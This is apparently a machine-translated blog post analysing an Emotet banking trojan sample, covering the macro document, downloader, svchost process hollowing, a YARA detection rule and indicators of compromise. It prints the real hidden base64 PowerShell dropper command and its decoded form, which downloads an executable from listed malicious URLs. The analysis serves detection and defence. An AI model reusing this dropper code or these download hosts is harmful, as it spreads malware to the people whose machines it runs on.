エモテットバンクトロイの木馬の分析

序文

Emotetは、今日人気のあるバンキングトロイの木馬の1つであり、多くのバリエーションとさまざまな難読化ツールがあります。Emotetは主にスパムによって拡散され、電子メール内のマクロドキュメントは、永続的な攻撃のためにEmotetを後でダウンロードするためのダウンローダーとして使用されます。この記事は、分析のために1月に取得されたバリアントサンプルに基づいています。

サンプル実行プロセス

ここに写真の説明を挿入

サンプル分析

マクロドキュメント分析

ドキュメントを開くと、ドキュメント内の画像により、ユーザーはボタンをクリックしてマクロを開始するようになります。

ここに写真の説明を挿入

VBAエディターに入ると、下の図に示されているマクロのいくつかが表示され、すべてのマクロコードが混乱しており、実際のロジックが表示されていません。

ここに写真の説明を挿入

マクロコードの動的デバッグ。次の2つの図からわかるように、マクロコードの機能は、wmiを起動してpowersehllスクリプトを実行することです。

ここに写真の説明を挿入

ここに写真の説明を挿入

powershellスクリプトのコンテンツは、base64で暗号化されたコードの一部を隠された方法で実行します

Powershell -w hidden -en JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAG

復号化後

$Sonlfmxfglg='Xyysnkiuyxo';
$Eczadxvec='296';
$Zzrrzebyse='Vpybxxpmdeydq';
$Mwbgorhryfhne=$env:userprofile+'\'+$Eczadxvec+'.exe';
$Surzdxdygpth='Yfufnpswxz';
$Lvbojolxvxm=.('new-ob'+'j'+'ect')NEt.wEbclIeNT;
$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includ

上記の復号化されたコードによると、powershellスクリプトは上記の4つの悪意のあるURLをトラバースし、対応する悪意のあるプログラムをダウンロードして、名前を296.exeに変更します。

ワードがマクロを開始した後に生成されるプロセスツリー

ここに写真の説明を挿入

悪意のあるダウンローダー分析

サンプルは最初に必要な関数アドレスを取得します

ここに写真の説明を挿入

PEBを介してdllのロードベースアドレスを取得します

[外部リンクの画像転送に失敗しました。ソースサイトにホットリンク防止メカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします(img-GcTk6yz6-1582849922985)(D:\ Project \ Virus Analysis \ emotet Bank Trojan Analysis \ pic \ Get dll load base Address.png)]

エクスポートテーブルを介して関数アドレスを取得します。真ん中には、一連の長いSendMessageA呼び出しの混乱があります。

ここに写真の説明を挿入

リソース内のデータを取得します

ここに写真の説明を挿入

リソースから取得したデータを、適用された2つのメモリに保存し、復号化をXORしてシェルコードを取得します

ここに写真の説明を挿入

最初のメモリブロックのシェルコードの主な機能は、CryptoAPI関数のアドレスを取得することです。2番目のメモリブロックは、HASHを介していくつかのAPI関数のアドレスを取得し、3番目のメモリブロックに適用してデータを入力します。このプログラムのロジックは3番目のブロックにあります。メモリ内。

メモリの3番目のブロックの上にある関数を呼び出して、HASH計算を対応するメモリアドレスの配列に格納します

ここに写真の説明を挿入

ここに写真の説明を挿入

以下はプログラム全体の始まりです

コマンドラインパラメータを比較します。比較に失敗した場合は、コマンドラインパラメータを使用してプロセスを開始し、現在のプロセスを終了します。

ここに写真の説明を挿入

ここに写真の説明を挿入

現在のプロセスパスがanti-huieaxにある場合は、システムディレクトリにあるかどうかを確認します

ここに写真の説明を挿入

そうでない場合は、現在のファイルをシステムディレクトリに解放し、サービスを作成してプロセスを開始し、0を返します。

ここに写真の説明を挿入

HASHはリモートサーバーを計算し、ファイルをダウンロードします

ここに写真の説明を挿入

ここに写真の説明を挿入

ここに写真の説明を挿入

ファイルの書き込みとプロセスの作成

ここに写真の説明を挿入

ここでの分析から、このサンプルは実際にはダウンローダーであり、以下は本当の秘密を盗むプログラムであることがわかります。

盗難プログラムの分析

この動作により、悪意のあるプログラムの実行後、システムプログラムがスレッドインジェクションまたはパペットプロセステクノロジによって作成され、システムプロセスを使用してローカルデータを取得してリモートサーバーに送信することがわかります。

ここに写真の説明を挿入

ファイルリソース情報を見ると、コードフォーマットがダウンローダーと非常に似ていることがわかり、同じ難読化ツールを使用してコードを難読化したと判断できます。

ここに写真の説明を挿入

悪意のあるプログラムは同じ難読化ツールを使用し、前のコード実行プロセスは同じです。これは、メモリに適用されてシェルコードを実行し、3番目のメモリのキーロジックコードを復号化します。

継続的なXORを介して後続のデータを暗号化および復号化します

ここに写真の説明を挿入

svchostパペットプロセスを作成します

ここに写真の説明を挿入

メモリ書き込みコードフックプログラムのエントリポイントを申請します

ここに写真の説明を挿入

エントリポイントがretを実行した後、悪意のあるプログラムによって書き込まれたsvchostプロセスのメモリであるメモリアドレス0x6100に実行されます。

ここに写真の説明を挿入

悪意のあるプロセスをシステムディレクトリにコピーします

ここに写真の説明を挿入

ローカル情報を取得する

ここに写真の説明を挿入

データ入力

ここに写真の説明を挿入

データを送る

ここに写真の説明を挿入

その後の悪意のあるプログラムには他の動作もあるので、ここではそれらを1つずつ分析しません。

yara规则

悪意のあるサンプルは難読化ツールを使用しているので、通常はそのバイナリコードをヤラルールに追加するのが好きです。以下のように、難読化ツールで取得した関数のアセンブリコードを見つけて、悪意のあるプログラムの特性として使用します。

(もちろん、実際には、多くのパッカーもこの方法で派生関数を取得します。機能を1つだけ追加すると、誤ったアラームが発生する可能性があります。必要に応じて他の機能を見つけることができます。)

rule VirTool_Obfuscator_a
{
	meta:
		author = "0x17"
		samples = "d27590b402b475ae11a93f2976c2de595ab1eac9"
		samples = "3d40a6516172d4115be08dd03767526f4b24dce8"
	
    strings:
		/*
		8B 6C 24 ??        mov     ebp, [esp+10h+arg_0]
		8B 45 3C           mov     eax, [ebp+3Ch]
		56                 push    esi
		8B 35 ?? ?? ?? ??  mov     esi, ds:SendMessageA
		57                 push    edi
		8B 7C 28 78        mov     edi, [eax+ebp+78h]
		8B 5C 2F 1C        mov     ebx, [edi+ebp+1Ch]
		8B 4C 2F 18        mov     ecx, [edi+ebp+18h]
		6A 00              push    0               ; lParam
		03 FD              add     edi, ebp
		6A 02              push    2               ; wParam
		6A 06              push    6               ; Msg
		03 DD              add     ebx, ebp
		6A 00              push    0               ; hWnd
		89 4C 24 ??        mov     [esp+28h+arg_0], ecx
		89 5C 24 ??        mov     [esp+28h+var_8], ebx
		FF D6              call    esi ; SendMessageA
		*/
        $hex_string1 = { 8B 6C 24 ?? 8B 45 3C 56 8B 35 ?? ?? ?? ?? 57 8B 7C 28 78 8B 5C 2F 1C 8B 4C 2F 18 6A 00 03 FD 6A 02 6A 06 03 DD 6A 00 89 4C 24 ?? 89 5C 24 ?? FF D6 }
		/*
		03 48 3C   add  ecx, [eax+3Ch]
		89 4D ??   mov  [ebp+var_10], ecx
		8B 55 ??   mov  edx, [ebp+var_10]
		8B 45 ??   mov  eax, [ebp+arg_0]
		03 42 78   add  eax, [edx+78h]
		89 45 ??   mov  [ebp+var_8], eax
		8B 4D ??   mov  ecx, [ebp+var_8]
		8B 51 18   mov  edx, [ecx+18h]
		89 55 ??   mov  [ebp+var_4], edx
		8B 45 ??   mov  eax, [ebp+var_8]
		8B 4D ??   mov  ecx, [ebp+arg_0]
		03 48 1C   add  ecx, [eax+1Ch]
		89 4D ??   mov  [ebp+var_1C], ecx
		*/
        $hex_string2 = {03 48 3C 89 4D ?? 8B 55 ?? 8B 45 ?? 03 42 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 1C 89 4D ?? }
    condition:
        1 of them
}

ヤラエンジンによって報告された2つのレコード

[外部リンク画像の転送に失敗しました。ソースサイトにアンチホットリンクメカニズムがある可能性があります。画像を保存して直接アップロードすることをお勧めします(img-dcdMiipv-1582849922996)(D:\ Project \ Virus Analysis \ Emotet Bank Trojan Analysis \ pic \ yara hit.png )]

IOC

マクロドキュメント

SHA1:be9efb37ebba29888e1e6451cc6294bde8c30d04

悪意のあるダウンローダー

SHA1:d27590b402b475ae11a93f2976c2de595ab1eac9

プログラムを盗む

SHA1:3d40a6516172d4115be08dd03767526f4b24dce8

C&C

adykurniawan.com

myphamthanhbinh.net

mjmechanical.com

100.6.23.40

おすすめ

転載: blog.csdn.net/weixin_44001905/article/details/104549666